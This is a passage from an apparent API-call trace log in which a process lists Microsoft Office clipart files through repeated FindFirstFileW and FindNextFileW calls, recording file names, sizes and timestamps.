nFileSizeHigh=0x0, nFileSizeLow=0xaec, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01146_.WMF", cAlternateFileName="")) returned 1 [0126.222] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd790bed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd790bed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb90, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01151_.WMF", cAlternateFileName="")) returned 1 [0126.222] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd790bed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd790bed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb90, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01152_.WMF", cAlternateFileName="")) returned 1 [0126.222] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd790bed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd790bed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe04, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01157_.WMF", cAlternateFileName="")) returned 1 [0126.222] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01160_.WMF", cAlternateFileName="")) returned 1 [0126.222] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01162_.WMF", cAlternateFileName="")) returned 1 [0126.222] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01163_.WMF", cAlternateFileName="")) returned 1 [0126.222] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x820, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01166_.WMF", cAlternateFileName="")) returned 1 [0126.222] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x820, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01167_.WMF", cAlternateFileName="")) returned 1 [0126.222] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01168_.WMF", cAlternateFileName="")) returned 1 [0126.222] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01169_.WMF", cAlternateFileName="")) returned 1 [0126.222] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x964, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01170_.WMF", cAlternateFileName="")) returned 1 [0126.222] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x804, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01171_.WMF", cAlternateFileName="")) returned 1 [0126.222] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01172_.WMF", cAlternateFileName="")) returned 1 [0126.222] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebfae8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebfae8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebfae8f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x70c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01173_.WMF", cAlternateFileName="")) returned 1 [0126.222] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01176_.WMF", cAlternateFileName="")) returned 1 [0126.222] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb3c2ce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xed4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01178_.WMF", cAlternateFileName="")) returned 1 [0126.222] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb3c2ce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01179_.WMF", cAlternateFileName="")) returned 1 [0126.222] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb3c2ce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x824, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01180_.WMF", cAlternateFileName="")) returned 1 [0126.222] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01181_.WMF", cAlternateFileName="")) returned 1 [0126.223] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01182_.WMF", cAlternateFileName="")) returned 1 [0126.223] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01183_.WMF", cAlternateFileName="")) returned 1 [0126.223] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01186_.WMF", cAlternateFileName="")) returned 1 [0126.223] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01366_.WMF", cAlternateFileName="")) returned 1 [0126.223] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01434_.WMF", cAlternateFileName="")) returned 1 [0126.223] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01585_.WMF", cAlternateFileName="")) returned 1 [0126.223] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x914, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01586_.WMF", cAlternateFileName="")) returned 1 [0126.223] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01628_.WMF", cAlternateFileName="")) returned 1 [0126.223] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe7100f8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe7100f8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe736331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01629_.WMF", cAlternateFileName="")) returned 1 [0126.223] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x128, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01630_.WMF", cAlternateFileName="")) returned 1 [0126.223] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe7100f8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01631_.WMF", cAlternateFileName="")) returned 1 [0126.223] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1034, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01761_.WMF", cAlternateFileName="")) returned 1 [0127.408] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faede90) returned 1 [0127.408] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faede50) returned 1 [0127.408] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedf50) returned 1 [0127.514] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\*", lpFindFileData=0x1faedc70 | out: lpFindFileData=0x1faedc70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0128.782] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10196468, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10196468, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x101bc6d0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE03513_.WMF", cAlternateFileName="")) returned 1 [0128.782] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1027b233, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1027b233, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1027b233, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1868, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE03668_.WMF", cAlternateFileName="")) returned 1 [0128.783] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x101bc6d0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x101bc6d0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x101e2909, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE03731_.WMF", cAlternateFileName="")) returned 1 [0128.783] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x101bc6d0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x101bc6d0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x101e2909, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x78a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE03795_.WMF", cAlternateFileName="")) returned 1 [0128.783] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10196468, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10196468, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x101bc6d0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1020, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE04050_.WMF", cAlternateFileName="")) returned 1 [0128.783] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10196468, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10196468, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x101bc6d0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x37f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE05665_.WMF", cAlternateFileName="")) returned 1 [0128.783] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x101bc6d0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x101bc6d0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x101e2909, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x167c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE05710_.WMF", cAlternateFileName="")) returned 1 [0128.783] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x101bc6d0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x101bc6d0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x101e2909, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x608, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE05869_.WMF", cAlternateFileName="")) returned 1 [0128.784] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x101e2909, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x101e2909, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x101e2909, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x634, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE05870_.WMF", cAlternateFileName="")) returned 1 [0128.784] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x101e2909, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x101e2909, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x101e2909, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7fce, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE05930_.WMF", cAlternateFileName="")) returned 1 [0128.784] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x101bc6d0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x101bc6d0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x101bc6d0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x121c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE06049_.WMF", cAlternateFileName="")) returned 1 [0128.784] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x101bc6d0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x101bc6d0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x101e2909, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4048, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE06450_.WMF", cAlternateFileName="")) returned 1 [0128.784] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x101bc6d0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x101bc6d0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x101bc6d0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x629, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH00601G.GIF", cAlternateFileName="")) returned 1 [0128.784] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x101bc6d0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x101bc6d0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x101bc6d0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8628, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH00780U.BMP", cAlternateFileName="")) returned 1 [0128.784] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, 